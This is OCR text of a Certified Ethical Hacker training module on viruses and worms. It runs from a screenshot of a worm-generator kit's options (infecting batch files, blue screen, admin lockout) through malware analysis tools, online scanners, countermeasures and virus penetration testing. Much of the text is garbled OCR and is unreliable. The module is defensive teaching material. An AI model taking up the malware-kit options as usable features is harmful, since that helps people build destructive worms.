URL: File Protection
ll‘m:,",‘.\'r-w.}ngq-,bay a N Comupt Antivrus
“ Change Computer

Sender Name: 2

Py (uggyboy-007-007
F NS ¥ Change Drive Tcon
[V Delete & Fie DU, BXE, ICO: Index:

Path: C:WindowsWOT |1

C:Vuggy. bt v Add To Context Meru
IV Delete a Folder ¥ Change Clock Text
Path Text (Max 8 Chars):
C:\temp foded
[V Change Walpaper i 4 |
foth Or UnL: & Xeybumd Dew

http: /v googie.o ¥ Add To Favarites

Exploit Wind:
4 Admin Lockeut

[V Blue Saeen Of Death
Infection Options:

[V Infect Bat Fles

-

r

Extras:

[V Hda Vs Fles

_ e |

[V Custom Code

WScrpt.Echo Test Worm®

1f You Liked This Program Please
Visit Me On

e s ettt -
1f You Know Anything About V8BS
Programming Help Support This
Project By Making A Plugin (See
Readme). Thanks,

Control Pand

Generate Worm

[ CPU Monster p

7 (G Tine [Free Art Gallery
Hour Min URL:

F i [r tp:/uggyboy. com

About Me
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Virus and Worms
Concepts

o
R

®

Malware Analysis

|

http://ceh.vn (@R Er- NEW S
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Module Flow

Types of Viruses Computer Worms

Countermeasures Penetration Testing
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What is Computer?

Sheep dipping refers to the analysis of suspect files, incoming messages, etc. for malware

A sheep dip computer is installed with port monitors, file monitors, network monitors and
antivirus software and connects to a network only under strictly controlled conditions

Run user, group Run device driver and
file monitors

permission and process
monitors

Run port and
network monitors

Run registry and
kernel monitors

Sheep Dip
Computer
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Anti-Virus Sensors Systems

-J Anti-virus system is a collection of computer software that detects and
analyzes malicious code threats such as viruses, worms, and Trojans. They are

used along with sheep dip computers.

Network Anti-Virus System

—

% Reflected
P > S L. 'J’!afﬁc
aEET—— et Anti-Virus Anti-Spyware | ot
Syctam 1 System 2 gk rasdasnanay <
*, A Allowed Allowed
K o Traffic Traffic
. s Gonnrnnsn e { >, eveonsansuanne
4 sl T A N@FEL | Liceeseses

Reflected

u Anti-Trojan Anti-Spamware "'p Traffic
: Internet

™~

aEC_ = _ )
System 3 1 ?‘ 1\

Anti-Phishing Email-Scanner
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Malware Analysis Procedure:
Preparing Testbed

Copy the
malware
over to the
Install guest OS Disable the ‘shared guest 0S
into the Virtual Isolate the system from folders’, and the
PC/ VMWare the network by ensuring ‘guest isolation’
that the NIC card is in
“host only” mode

Install VMWare
or Virtual PC on
the system
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Procedure

Perform static analysis when the malware is inactive

Collect information about:

= String values found in the binary with the help of string extracting tools such
as BinText

= The packaging and compressing technique used with the help of
compression and decompression tools such as UPX

Set up network connection and check that it is not giving any errors

ﬁ Run the virus and monitor the process actions and system information with the

help of process monitoring tools such as Process Monitor and Process Explorer

Copyright ® by EG-Council
All Rights Reserved. Reproduction is Strictly Prohibited.

http://ceh.vn

6 I _TREIR http://i-train.com.vn
CEH, MCITP, CCNA, CCNP, VMware sPhere, LPl, Web Design




Malware Analysis Procedure

Record network traffic information using the connectivity and log packet content
monitoring tools such as NetResident and TCPView

Determine the files added, processes spawned, and changes to the registry with the
help of registry monitoring tools such as RegShot

Collect the following information using debugging tools such as Ollydbg and
Proc Dump:

® Service requests
= Attempts for incoming and outgoing connections

=  DNS tables information
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String Extracting Tool: Bintext

T BinText 3.0.3 @@@

_Search | Fiter | Help
ooch | e | e |

Yy
_/
Fletoscan [D\nstalleve Browse | llr &

[V Advanced view Time taken: 0.203 secs  Text size: 45095 bytes (44.04K)

S

[ Text A
1Thie program cannot be run in DOS mode.
text
.data
1s1C
@.reloc
ADVAPIZ2.dI
Unknown exception
CorE sitProcess
runtine efror
TLOSS error
SING emor
DOMAIN emor
RE034
An apphication has made an attempt to load the C runtime brary incorrectly
Please contact the application's support team for more information
R6033
- Attempt to use MSIL code from this assembly during native code intializa
This indicates a bug in your application. It is most likely the result of caling
R6032
- not enough space for locale information
RE031
- Attempt to initialize the CRT more than once.

File pos ] Mem pos

A 000000000040 000000400040
A 0000000001F0  0O00004001F0
A 000000000218 000000400218
A 000000000240 000000400240
A 000000000267 000000400267
A 000000000340 000000401540
A 00000000035C  00000040155C
A 000000000984 000000401584
A 000000000334 000000401594
A 000000000948 000000401548
A 000000000988 000000401588
A 000000000SC8 0000004015C8
A 000000000308 000000401508
A 000000000SDF  00000040150F
A 000000000420 000000401620
A 000000000478 000000401678
A 00000000047F 00000040167F
A 00000000G4CF  0000004016CF
A 000000000870 000000401770
A 000000000877 000000401777
A 000000000848 000000401748
A 0000000008AF 000000401 7AF

2 AAAAARAAARRIE  ARAAAA 16 -

<

2000000000000 0000000000

Heady AN: 2108 UN: 846 HS: U

http://www.foundstone.com
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Compression and Decompression
Tool: UPX

cv | C\windows'\system32\cmd.exe

C:\upx305uw>upx.exe

Usage: upx [-123456789d1thUL] [-qufk] [-o filel file..

Commands =

compress faster -9 compress hetter
-d decompress -1 list compressed file
-t test compressed file - display version number
-h give more help -L display software license
Options:
- be quiet -y bhe verhose
—oFILE write output to ’FILE’
force compression of suspicious files
keep backup files
executahles to {(dedcompress

Type ‘upx ——help’ for more detailed help.
UPX comes with ABSOLUTELY NO WARRANTY; for details wvisit http://upx.sf.net
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Process Monitoring Tools: Process
Monitor

] Process Monitor - Sysinternals: www.sysinternals.com
File Edt Event Fiter Tools Options Help

ABE A A8 #HB AIE

1ime.. Process Name PID Operation Path Result Detail

6:14:2. :selvices. exe 772 B WiiteFile CAWINDOWS\system32\config\SecEv.. SUCCESS Offset: 84,480, Len...
6:14:2.. ~services.exe 772 BhWieFile CAWINDOWS \system32\confighSecEv...SUCCESS Offset: 84,430, Len...
6:14:2.. Tlsewvices exe 772 WiiteFile CAWINDOWS \system32\config\SecEv...SUCCESS Dffset: 84,748, Len...
6:14:2.. Tsevices.exe 772 SHWiteFile CAWINDOWS \system32\configh\SecEv... SUCCESS Offset: 84,748, Len...
6:14:2.. " Iservices.exe 772 BA\WiiteFile CAWINDOWS\system32\config\SecEv...SUCCESS Offset: 85,016, Len...
6:14:2.. T lsass.exe 784 gRegOpenkKey  HKLM\SECURITY\Policy SUCCESS Desired Access: R...
6:14:2.. Tllsass.exe 784 @RegOpenKey  HKLM\SECURITY\Palicy\SecDesc SUCCESS Deswed Access: R...
6:14:2.. Tllsass.exe 784 #ReqQuenValue HKLMASECURITY\Policy\SecDesc\(D... BUFFER OVERFL... Length: 12

B142.. —lsass.exe /84 @Hegllosekey  HKLMASELURI I'Y\Fokicy\SecDesc SULLESS

6:14:2.. Tllsass.exe 784 @Reglpenkey  HKLM\SECURITY\Policy\SecDesc SUCCESS Desired Access: R...
6:14:2.. " llsass.exe 784 @ RegQuenValue HKLM\SECURITY\Policy\SecDesc\(D... SUCCESS Type: REG_NONE...
6:14:2.. " llass.exe 784 @XRegCloseKey  HKLMASECURITY\Policy\SecDesc SUCCESS

6:14:2.. Tllsass.exe 784 @ReqCloseKey  HKLMASECURITY\Policy SUCCESS

6:14:2.. W explorer.exe 5848 @ RegCreateKey HKCU\Session! nformation SUCCESS Desited Access: S..
6:14:2.. W explorerexe 5848 @{RegSelValue  HKCU\Sessionl nformation\ProgramCount SUCCESS Type: REG_DWO...
6:14:2.. W exploerexe 5848 @ERegCloseKey  HKCU\Sessionl nformation SUCCESS

6.14.2.. T svchustexe 1036 @XFReyOperkey  HKLM\Sullwae\MicusuthCOM3 SUCCESS Desied Access. R...
6:14:2.. " svchostexe 1036 @ RegQuenValue HKLM\SOFTWARE \Microsoft\COM3\... SUCCESS Type: REG_BINA. ..
6:14:2.. " Isvchostexe 1036 @RegCloseKey  HKLM\SOFTWARE \Microsof\COM3  SUCCESS

6:14:2.. " Isvchostexe 1036 @RegOpenkey  HKLM\Software'\Microsoft\COM3 SUCCESS Desired Access: R...
6:14:2.. T svchostexe 1036 @RegQuenValue HKLM\SOFTWARE\Microsof\COM3\... SUCCESS Type: REG_BINA. ..
6:14:2.. ™lsvchostexe 103£‘Regtbsng HKLM\SOF TWARE \Microsoft\COM3  SUCCESS
Showing 215,374 of 338,368 events (63%) Backed by page file
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Log Packet Content Monitoring Tools:
NetResident

fide Search View Events Tools Help

 Refresh | 7) Filter = | 9 Host Allas ~ | L. | Seve~ 3 Delete |[1"5) Event Detail
Groups Count Last Updated Protocol « Party A Party B Description
@ [V Dates 4 4 6/5200994547PM g Web MyLAN  [bw-in-f9.. =8 www.google.com:GET / (6,551 bytes)
8 ¢ ‘Q- Protocols 5 v 6/5/20099:45:51 PM g Web My LAN [ow-in-fl10... 3] clientsl.google.comeGET /complete.
7 & cQ . 6/520090.45:51PM g Web MyLAN  [buw-in-f10.. ¢ 2] chentsl.google.comGLT /complete...
v/ @ Web L 6/5/20099:4551PM ) Web MyLAN  [bw-in-f10.. =8| clientsl.google.comGET /complete..
v g FIP . 6/5/20099:45:51PM ) Web MyLAN  [bw-in-f10.. <= 3] clientsl google.com:GET /complete...
v 3 Mail . 6/5/20099:4551PM ) Web MyLAN  [bw-in-fl0.. <=]2] clientsl.google.com:GET /complete
v 2 vor L 6/5/20099:4552PM i) Web My AN  [bw-in-fl0.. <= 2] clientsl.google.com:GET /complete...
6/5/20099:45:52PM ) Web MyLAN  [bw-in-f10.. <= 3] clientsl google.com:GET /complete
6/5/2009 9:45:52 PM @ Web My LAN [bw-in-f10... .‘-}] clientsl.google.com:GET /complete..
6/5/20099:45:52PM g} Web My LAN [ow-in-f10... < ‘,ﬂ clientsl.google.com:GET /complete.—.
6/5/20009:4552PM () Web MyLAN  [bw-in-f10.. <= 3] clientsl.google.com:GET /complete...
6/5/2009 9:4553 PM & Web My LAN [ow-in-110... <= 8] clientsl.google.com:GET /complete...
LGOI AACE) DAL Aah \iab AA AN oo im #0) M sesant meom fe compnG6Y Jeansebihl,, «

7 part R B 2
Event Detail

=
REG k- ) | More...~

bypass firewall - Google Search
WebHide options Show options Results 1- 10 of about 518,000 for bypass firewall (0.16 seconds)

How to Bypass Most Firewall Restrictions and Access the Infernet ... bypass firewall

28 Sep 2008 ... How to Surf the Intemet at Work (or School) Prvately (Using SSH and an HTTP  Bypass Your ISP and Proxy &
Proxy Server) Get Around A Firewall, If MySpace is Blocked you ... Surf Safely and Anonymously

www. buzzsud com/surfatwork ad - page voww. GoTrusted com

Bypass That Firewall

http:/fwww.google.com/caarchhizenia- bypasce firewalllaq=f&oq=&aqi=gl0 22 561 bytes

(@comeass 1 a3 http://www.tamos.com |
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Debugging Tool: Ollydbg

OllyDbg - Procmon.exe
File View Debug Trace Options Windows Help

S ] 53 /0] e/ M E e B[]

Pnain thread, module Procmon

HOU OWORD PTR SS:(EBP-41,-2
MOU EAX,DMORD PTR SS:(EBP-28]
SHORT 00402551
EAX, EAX
L EAX
8865 ES ESP,DMORD PTR $S: (EBP-18]
C745 FC FEFFIMOU OWORD PTR SS:(EBP-41,-2

ERX, OFF
CALL ©884R4141

E8 761F0E00
C74S FC FEFF
8845 EQ

TR

>

Fage

984R2309
ECX,DMORD PTR DS: [4FCOC4)
Sﬂ?g‘l’ QRIR2SER

JHP
cHp
JNE
REP
JHP @G4BB4ER L4 .
MOU ERX, DWORD PTR DS: EDT) B8 4L e
CHP_ERX, = g :

JE

HOY

HX, =2
SHORT ©04R2SS4

ECX,DNORD PTR 0S: (EDI+4)
ADD ECX,ESI

T e e sy

¢
"
UNORH ECS9 8¢ o0
1.2003008206300820030
1. 000000000000DB00000 _

] I
T Werne (32, 7CBI7077 =
|| RETURN from ntdll.7C90FEF7 to ntdll.7C

RETURIt fron SO4EL343 To S0SSI2FA

http://www.ollydbg.de
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Virus Analysis Tool: IDA Pro

.'ﬂ IDA - C:\Documents and SettingsWiikDeskiop\P rocessMonitor\?rocmon. exe r:rﬁl&]
Fle TR Jump Search View Debugger Options Windows Help
& & - - MR 1 Ten v| v 4 -
Ba"xAS /8 PEN-[eT
ooy e NX - - SHKH~f|: ; &F
Le SRR FAA
vl T 15 I e n
":: Functions window B8 @) oavewa 33 Hexvmwaﬂ Stuctwes | EIEN Erums Vﬂlg lrports |£3 3D Exponts
Funclion name ~ add esp, 4
S push 1 ; Rdd
< Wb‘:g:g push offset HandlerRoutine ; HandlerRoutine
"f wb_ call ds:SetConsoleCtrilandler
"“W_‘O”‘O push 1 ; duFlags
jsub 401120 push 1FFh ; duLevel
‘-‘sub_lmzm call ds:SetProcessShutdownParameters
) sub_401310 chp byte 4FEB9G, 0
Ysub 401540 mov eax, offset aSoftwareSysint ; “Software\\Sysinternals\\Process Honitora2”...
‘,--wo_amsm nz short loc 475CSB
i1 sub_401810
~
71 sub_d01880
Vi sub_401800 Nl )
‘-’\sub:amm mo u eax, offset aSoftwareSysi 8 ; “Softuware\\Sysinternals\\Process Honitor"}
) sub_401370
-
7 sub_401380
- Nul
loc_u74C58: ; lpduwbisposition
push esi
3 push offset hKey : PhKResult
e h ocd » Iofoacusituntteibutoc
> <
100.00%  (1288,9452) (526,3) 00072084  DO47458A: WinMain(x, %, ,%):loc_47458A
Output window
TOUTEY 3 Ta T U EAPTOTE CE T TPGT T T TE T TgIC TioWs
using FLIRT signature: Microsoft visualc 2-10/net runtime
Propagating type information...
Function argument information has been propagated
iThe 1nitial autoanalysis has been finished.
474CSB: can not create a local label *loc_s7ecss’
474C5B: can not create a local label “loc_474Css’
od " ,
(o e Down | Oisk: 1268 http://www.hex-rays.com
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Online Malware Testing: Sunbelt
CWSandbox

Submit a file to Sunbelt's CWSandbox on-ine malware analyzer

Enter your emall adceem and click "Browse™ 1o find the file you want 1o analyze
To submit the sample, dick “Subowt sample for analysis”
Within a short time, the analysis of the file you submitted will be sent 10 your emall

Sunbeltlabs

Dt

Facebook login phishing
Microsoft crive by Troian preving ..,
Blessing what g0 you call the bad ..,
Cads will not bring chacges in P,
The y ong a%er the "

Sunbelt Biog

9yt Resuls Text Results

Your email ac

File 1o uploay (€ -

o ==
- Commaent: <268 .’\‘a Sunbelt Software™ CWSandbox Report

Reoisy Actvy_| _ etwork Acray
© Submission Summary

Current Definitions

VIPRES Enterprise Preenium
Defisition: §778 8232010 53757 AM
VIPRES Entecprine

Definition: §778  8/23/2010 53787 AM
VIPRE® Antivirus Premium

Defioition: §778  8/23/2010 5.37.57 AM
VIPRE® Antivirus (1] Analysis Summary
Definition §778 8/23/2010 537 57 AM fa

(1] Spawned Processes (18)
PROCESS # 3, (ID: 408)

(1) Main Processes (2)

CWSandoox Version: 2.1.13 ® PROCESS #1,00:1112)

Counrter Spy® Enterprive
Defimition £778 8232010 53757 AM
Couster Spy®

Definiticn: £778 8232010 5:37:57 AM

Time 31182009 3:44:25 PN
Subenimad Fila’ coNTMAISIQICATT Axh

5
650c240068e4275686¢20586229251CT

™ PROCESS #2, (D: 764)

PROCESS # 4, (ID: 1420)
PROCFSS @5 (Ine 624)
PROCESS # 6, (ID: 696)
PROCESS # 7, (IDx 720)

Views All Defintony SHAT

70404 ca2dAbI2743063Ch4d T accIVAG7 202006
Logpath: cacwsandbox
Uog NTrustdigicertexeirun_1!

PROCESS # 8, (ID: 792)

PROCESS # 9, (ID- 800)

PROCESS # 10, (ID: 996)
PROCESS # 11, (1D: 1064)
PROCESS # 12, (ID: 1156)
PROCESS # 13, (1D: 1208)
PROCESS 14, (ID: 1372)
PROCESS # 15, (1D: 1584)
PROCESS # 16, (1D: 1708)
PROCESS # 17, (ID: 1900)
PROCESS # 18, (ID: 1976)
PROCESS #19, (ID: 224)

Rogue Antl Spyware Blog *Due %0 heavy losd. the public sitel

Please goctact us directly fo¢ semg
-

)
B
)
wl
2

V Sec Suite and Det

http://www.sunbeltsecurity.com

| 0309909989999 8993a4a
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Online Malware Testing: VirusTotal

|

Virustotal i1s a service that analyzes
files and URLs and facilitates the qus
of viruses, worms, trojans, and af kind
det

VIRUS

}} TOTAL

Analysis Search

et »

Jekktop\HTML_Troje| Browse

] Send #t over 55 ©

Lo NN 3}

ted by antivirus engines. M

i:

Statistics Advanced VT Community Ah-o!

EC \Documents and Settings"

Send file

¥ you wish, you can also send fies yiz emall or using VirusTotal's

(Maximum tile size: 20MB)

http://www.virustotal.com

O VT Communty user(s) with & tetal of 0 reputation credit(s) say(s) this sample is goodware. 0 VT C

usar(s) with a total of 0 reputation credl(s) say(s) this sample is malvare.

File name

Submission date

Current status
Result

B Compact

Anthinus
Annlab-v3
Antivic
Antiy-AVL
Authentiux
Avast
Avasts

AVG
BitDefender
CAT-QuickHeal
ClamAV
Comodo
DrVeb
Emsisoft
eSafe
eTrust-vet
F-Prot
F-Secure
Fortinet
Chata
Ikaruz

Jianguin

ProRat.exe

2010-08-18 04:00:57 (UTC)
finished

41 42(97.6%)

Verslon
2010.08.18.00
8.2.4.34
2.0.3.7
5.2.0.5
4.8.1351.0
£.0.332.0
9.0.0.851
7.2

11.00
0.96.2.0-git
5778
5.0.2.03300
$.0.0.39
7.0.17.0
36.1.7797
4.6.1.107
9.0.15370.0
4.1.143.0
21
T3.1.1.68.0
13.0.900

Last Update
2010.08.17
2010.08.17
2010.08.16
2010.08.18
2010.08.17
2010.08.17
2010.08.17
2010.08.18
2010.08.16
2010.08.18
2010.08.18
2010.08.18
2010.08.18
2010.08.17
2010.08.17
2010.08.18
2010.08.18
2010.08.16
2010 08 18
2010.08.18
2010.08.17

Reoult

Trojan. Prorat-24
Backdoor.Uin3
BackDoor, ProR

Backdoor.¥Uin3d

Vin32.Prorac

¥in3z2/ProRat.
V32 /Procat.DC
Backdoor.Gene

er1c. 282115

¥3Z/Backdoor.AVW!tr

Backdoor

Backdodr.Vin3

Backdoor/Prox

Rat. 443

Generie

VI C

W

not reviewed
Satety score: -

2.Prorat!IK

A%

td

282118
2.Prorat

at. 19.3
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Online Services

Anubis: Analyzing Unknown

Binaries
http://anubis.iseclab.org

Dr. Web Online Scanners
http://vms.drweb.com

Avast! Online Scanner

http://onlinescan.avast.com

Filterbit

http://www.filterbit.com

) -
@ Malware Protection Center r Avert(r) Labs Weblmmune

https://www.microsoft.com

ThreatExpert

https://www.webimmune.net

Kaspersky File Scanner
http://www.kaspersky.com

| L N
http://www.threatexpert.com ‘ &'/ !
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Module Flow

Virus and Worms Types of Viruses Computer Worms
Concepts

Countermeasures Penetration Testing
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IMethods

Integr_| ty Interception
Checking Q
Once a virus has been Integrity checking The interceptor
detected, it is possible to products work by monitors the operating
write scanning programs reading the entire disk system requests that
that look for signature and recording integrity are written to the disk
string characteristics of data that acts as a
the virus signature for the files

and system sectors
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Virus and Worms

Ensure the executable code sent to

the organization is approved

Do not boot the machine with
infected bootable system disk

Run disk clean up, registry scanner and
Know about the latest virus

defragmentation once a week
threats

Check the DVD and

Turn on the firewall if the
CDs for virus infection

0OS used is Windows XP

Run anti-spyware or adware
once in a week

Ensure the pop-up blocker is
turned on and use an Internet

firewall

Block the files with more than
one file type extension

Be cautious with the files being sent

through the instant messenger

http://cchwn (el EE NEWS

Canified Ethical Hacker
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Virus and Worms Countermeasures

Install anti-virus software that detects and removes infections as they appear
Generate an anti-virus policy for safe computing and distribute it to the staff
Pay attention to the instructions while downloading files or any programs from the Internet

Update the anti-virus software on the a monthly basis, so that it can identify and clean out new bugs

Avoid opening the attachments received from an unknown sender as viruses spread via e-mail
attachments

Possibility of virus infection may corrupt data, thus regularly maintain data back up

Schedule regular scans for all drives after the installation of anti-virus software

Do not accept disks or programs without checking them first using a current version of an anti-virus
program
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Companion Antivirus: Immunet Protect

Simmunet
proLet

Community

File History

) EXEEEE B ESERE |

D Detailn

9

‘ Connected

Suppart Feedback About Toll Free Tech
http://www.immunet.com

Copyright © by EC-CouncH
All Rights Reserved. Reproduction is Strictly Prohibited.

e

E=
http://ceh.vn f'

m NEWS & s

Cenified Ethical Hacker

T ETES http://i-train.com.vn
CEH, MCITP, CCNA, CCNP, VMware sPhere, LPl, Web Design




Anti-virus Tools

|
é ) AVG Antivirus | iw <) Norton AntiVirus
, http://free.avg.com \ B http://www.symantec.com
S —_
@ BitDefender !' ;;l F-Secure Anti-Virus
http://www.bitdefender.com ‘ http://www.f-secure.com
w
ﬁ@i Kaspersky Anti-Virus @’ Avast Pro Antivirus
T = http://www.kaspersky.com http://www.avast.com
Trend Micro Internet > -
. (& McAfee AntiVirus Plus
Secunty Pro http://home.mcafee.com
http://apac.trendmicro.com l - —
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Module Flow

Virus and Worms Types of Viruses Computer Worms
Concepts

N

Countermeasures Penetration Testing
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®

Install an anti-virus program on
the network infrastructure and on
the end-user’s system

Gt
(®

Update the anti-virus software to
x update your virus database of the

Anti-virusis -~ % . — newly identified viruses
AR >  Install Anti-Virus
' @ Scan the system for viruses, which
o : helps to repair damage or delete
\\z// : ..................... Bousaasasnesncnssusuns ’ Bles intactad with Vit eos
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Penetration Testing for Virus

v

Virus is x

e » System is not infected

Set the anti-virus to

v
\"\.//
. b -
reVirm::;:, .................. > System is Safe
vx o  Set the anti-virus software to compare file contents with the known computer
T — virus signatures, identify infected files, quarantine and repair them if possible

or delete them if not

— If the virus is not removed then go to safe mode and delete the infected file
manually
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Use tools such as ® Scan the system for running
What's Running processes, registry entries, startup
and HijackThis programs, files and folders integrity

and services

© If any suspicious process, registry
Use tools such as | entry, startup program or service is
JV Power Tools discovered, check the associated
executable files

and Regshot

€ Collect more information about
these from publisher’s websites if
available, and Internet

Use tools such as
SrvMan and ServiWin © Check the startup programs and
determine if all the programs in the
list can be recognized with known
functionalities

it B, Lise toolssuch.as € Check the data files for modification

SERFtar, Security or manipulation by opening several
AutoRun and Autoruns files and comparing hash value of

these files with a pre-computed hash

Use tools such as FCIV ,

< ------- cessanman TRIPWIRE and S'GVERIF

> @ "
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Penetration Testing for Virus

. ® Check the critical OS file modification or
......... boveaned Use tools such as FCIV manipulation using tools such as TRIPWIRE
and TRIPWIRE or manually comparing hash values if you
have a backup copy

. € Document all your findings in previous
A4 steps; it helps in determining the next
action if viruses are identified in the
system

© Isolate infected system from the network
immediately to prevent further infection

Y A © Sanitize the complete system for viruses
- using an updated anti-virus

Find other anti-virus

If viruses are X
detected? ANTMBH§
(A
o ;“ T
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IModule

O Virus is a self-replicating program that produces its own code by attaching copies of itself into other
executable codes whereas worms are malicious programs that replicate, execute, and spread across the
network connections independently without human interaction

O Some viruses affect computers as soon as their code is executed; other viruses lie dormant until a pre
determine logical circumstance is met

O Viruses are categorized according to file they infect and the way they work

QO Lifecycle of virus and worms include designing, replication, launching, detection, incorporation and
elimination stages

O Computer gets infected by Virus, worms and other malware due to not running the latest anti-virus
application, not updating and not installing new versions of plug-ins, installing the pirated software,
opening the infected e-mail attachments or downloading files without checking properly for the source

O Several virus and worm development kits such as JPS Virus Maker are available in wild that can be used
create malware without any technical knowledge

O Virus detection methods include system scanning, file integrity checking and monitoring OS requests

O Virus and worm countermeasures include installing anti-virus software and following anti-virus policy for
safe computing B T
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Quotes

4 | think computer viruses should count as life. | think it says somethin
P Y g
about human nature that the only form of life we have created so far
is purely destructive. We've created life in our own image. 7)

- Stephen Hawking,
Theoretical Physicist
and Cosmologist
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